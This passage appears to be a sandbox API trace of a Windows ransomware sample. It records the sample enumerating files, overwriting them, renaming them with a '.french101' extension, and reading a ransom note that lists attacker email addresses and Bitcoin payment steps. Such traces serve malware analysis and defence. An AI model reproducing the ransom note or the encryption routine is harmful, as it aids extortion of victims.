(pMem=0x3ae3e08) returned 0x3f40014 [0282.132] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.132] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.132] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.132] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.132] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0282.133] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0282.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0282.133] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0282.133] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0282.133] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0282.133] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0282.133] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0282.134] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.134] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.134] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12f70 [0282.134] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.134] SetFilePointer (in: hFile=0x308, lDistanceToMove=77680, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x12f70 [0282.134] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0282.211] CloseHandle (hObject=0x308) returned 1 [0282.215] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.215] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.215] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12f71 [0282.215] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.215] SetFilePointer (in: hFile=0x308, lDistanceToMove=77680, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12f70 [0282.215] SetEndOfFile (hFile=0x308) returned 1 [0282.218] CloseHandle (hObject=0x308) returned 1 [0282.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.218] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.218] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12f70 [0282.218] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.222] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.222] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0282.222] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.222] SetFilePointer (in: hFile=0x308, lDistanceToMove=60402, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xebf2 [0282.223] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.223] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0282.223] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0282.223] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0282.223] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.223] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0282.223] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.223] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.223] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.223] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.241] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0282.241] WriteFile (in: hFile=0x308, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.241] SetFilePointer (in: hFile=0x308, lDistanceToMove=60402, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xebf2 [0282.241] WriteFile (in: hFile=0x308, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.241] SetFilePointer (in: hFile=0x308, lDistanceToMove=77680, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x12f70 [0282.241] WriteFile (in: hFile=0x308, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0282.241] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0282.241] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.241] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.242] CloseHandle (hObject=0x308) returned 1 [0282.244] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\2UlmmFdmXf3jHxXf0Kbn0Uuf9YJHdc2hffQj7aixgqwc5A.french101" (normalized: "c:\\588bce7c90097ed212\\1053\\2ulmmfdmxf3jhxxf0kbn0uuf9yjhdc2hffqj7aixgqwc5a.french101")) returned 1 [0282.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\2UlmmFdmXf3jHxXf0Kbn0Uuf9YJHdc2hffQj7aixgqwc5A.french101" (normalized: "c:\\588bce7c90097ed212\\1053\\2ulmmfdmxf3jhxxf0kbn0uuf9yjhdc2hffqj7aixgqwc5a.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.245] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0282.245] CloseHandle (hObject=0x308) returned 1 [0282.246] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\2UlmmFdmXf3jHxXf0Kbn0Uuf9YJHdc2hffQj7aixgqwc5A.french101", dwFileAttributes=0x80) returned 1 [0282.247] CloseHandle (hObject=0x308) returned 0 [0282.247] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.247] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.247] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.247] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.247] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.247] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.247] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.247] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.247] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.247] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0282.247] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0282.248] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0282.248] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0282.248] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0282.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1053\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0282.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0282.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.248] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0282.248] CloseHandle (hObject=0x308) returned 1 [0282.248] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.249] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.249] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.249] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.249] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.249] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.249] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.249] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.249] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.249] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.249] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.249] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.249] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.249] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0282.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0282.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0282.532] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0282.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0282.532] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0282.532] GetLastError () returned 0x12 [0282.532] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0282.533] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.533] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.533] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.533] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.533] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.533] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.533] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.533] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.533] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.533] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0282.534] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0282.534] 